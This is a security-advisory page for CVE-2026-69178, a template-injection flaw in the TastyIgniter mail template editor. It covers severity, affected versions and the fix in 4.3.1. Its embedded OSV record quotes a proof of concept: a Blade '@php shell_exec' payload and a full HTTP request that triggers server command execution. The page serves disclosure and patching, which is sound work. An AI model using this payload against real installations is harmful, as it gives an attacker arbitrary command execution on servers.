CVE-2026-69178: Tastyigniter/tastyigniter Remote Code Execution Vulnerability
CRITICALCVE-2026-69178 is a CRITICAL (CVSS 9.1) remote code execution vulnerability (CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine) affecting Tastyigniter/tastyigniter libraries in the Packagist ecosystem. The issue involves tastyigniter mail template editor allows remote code execution via server-side template injection. Remediation is available by upgrading affected packages to version 4.3.1.
CVE-2026-69178 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-69178
To remediate this vulnerability, upgrade all affected Tastyigniter/tastyigniter dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade tastyigniter/tastyigniter to 4.3.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for tastyigniter/tastyigniter
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-69178, inspect your project dependencies for Tastyigniter/tastyigniter:
inspect dependencies for tastyigniter/tastyigniter
Analyze the terminal output to locate any version of Tastyigniter/tastyigniter in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.3.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine, where the product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. In Tastyigniter/tastyigniter, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-69178 Affected Tastyigniter/tastyigniter Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
tastyigniter/tastyigniter
|
Packagist |
< 4.3.1
|
4.3.1
|
References
Frequently Asked Questions
What is CVE-2026-69178?
Which Tastyigniter/tastyigniter versions are affected?
What version fixes CVE-2026-69178?
Is tastyigniter/tastyigniter affected?
What is the CVSS score of CVE-2026-69178?
What CWE is associated with CVE-2026-69178?
How can I check Packagist dependencies for CVE-2026-69178?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-743w-g9pf-8p94",
"modified" : "2026-11-25T22:24:13Z",
"published" : "2026-11-25T22:24:13Z",
"aliases" : [ "CVE-2026-69178" ],
"summary" : "TastyIgniter mail template editor allows remote code execution via server-side template injection",
"details" : "### Summary\n**Where:** `POST /admin/mail_templates/edit/{id}` → body field \n**Who can trigger:** Any admin user with `Admin.MailTemplates` permission \n**Impact:** Arbitrary PHP execution on the server — full RCE\n\n### Details\nThe Mail templates is vulnerable to SSTI and did not perform an validation and sanitization.\n\n### PoC\n\n- login as admin\n- create new mail template with following command\n\n```\n@php echo shell_exec('echo \"RCE Executed\";id'); @endphp\n``` \n\n- save the request\n- execute the request using `X-IGNITER-REQUEST-HANDLER: onTestTemplate`\n\nRequest\n```http\nPOST /admin/mail_templates/edit/20 HTTP/1.1\nHost: localhost:8888\nContent-Length: 47\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\nsec-ch-ua-platform: \"Linux\"\nX-CSRF-TOKEN: L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY\nAccept-Language: en-US,en;q=0.9\nsec-ch-ua: \"Not-A.Brand\";v=\"24\", \"Chromium\";v=\"146\"\nsec-ch-ua-mobile: ?0\nX-Requested-With: XMLHttpRequest\nX-IGNITER-REQUEST-PARTIALS: \nAccept: */*\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-IGNITER-REQUEST-HANDLER: onTestTemplate\nOrigin: http://localhost:8888\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:8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GQWk2bzlDUEtLeFRZTlBXZDc2V0tuREZWVTVBakJTRjU4d052aEZxeUEvcU1BVFhmMjlPY2RGOHdWY1p4d25saSs0UHovZzFQaU1FeU9vKy9tbEoiLCJtYWMiOiJlZmRhNjZmNWU0MmY2MjZjYzJjNjMyY2JlNTMwNmJjZDMxOTU3MzFkOWQ4MDZiOGVkM2I3ZmY4NTAxOTdhYTU5IiwidGFnIjoiIn0%3D; tastyigniter_session=eyJpdiI6IjRVU3c4T2Y2dnVhREtyZkxQZitPUHc9PSIsInZhbHVlIjoiWFFXaDVNbzJISlJZRjdRTVI3L2FNYUNxdklvVHZpb3FwNFA4M2J0aTBqNFI2VU8vL09lYWhlOVd3K1lhdFR5eEJTWUxxLzRHM0Z5KzlaUkhCOTdVMDEzc25PaWNzOE1yWW9PQkZSWHZZUVJGNnRkNGRuWVhvRC82RVl5YTU1ZnciLCJtYWMiOiI0ZjY2ODIxYWU1N2FkYmUxNGM5OWQ4ODU0MDU2YzRhODY1MmFlNmVkOTgwZTIzN2E0YjE0Y2MwMzg3NTc4MTZhIiwidGFnIjoiIn0%3D\nConnection: keep-alive\n\n_token=L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY\n```\n\n- For the response, can check in the log.\n\n<img width=\"1315\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2b6a01bf-14d2-4b33-b1d4-d0e284b54107\" />\n\n \n\n### Impact\nIf attacker have access to admin user, it is possible to abuse this vulnerability to gain access into the system.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "tastyigniter/tastyigniter"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.3.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/tastyigniter/TastyIgniter/security/advisories/GHSA-743w-g9pf-8p94"
}, {
"type" : "WEB",
"url" : "https://github.com/tastyigniter/core/commit/785aa660f77fee9a221857b8b1f11b68a35fd257"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/tastyigniter/TastyIgniter"
}, {
"type" : "WEB",
"url" : "https://github.com/tastyigniter/core/releases/tag/v4.3.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-11-25T22:24:13Z",
"nvd_published_at" : null
}
}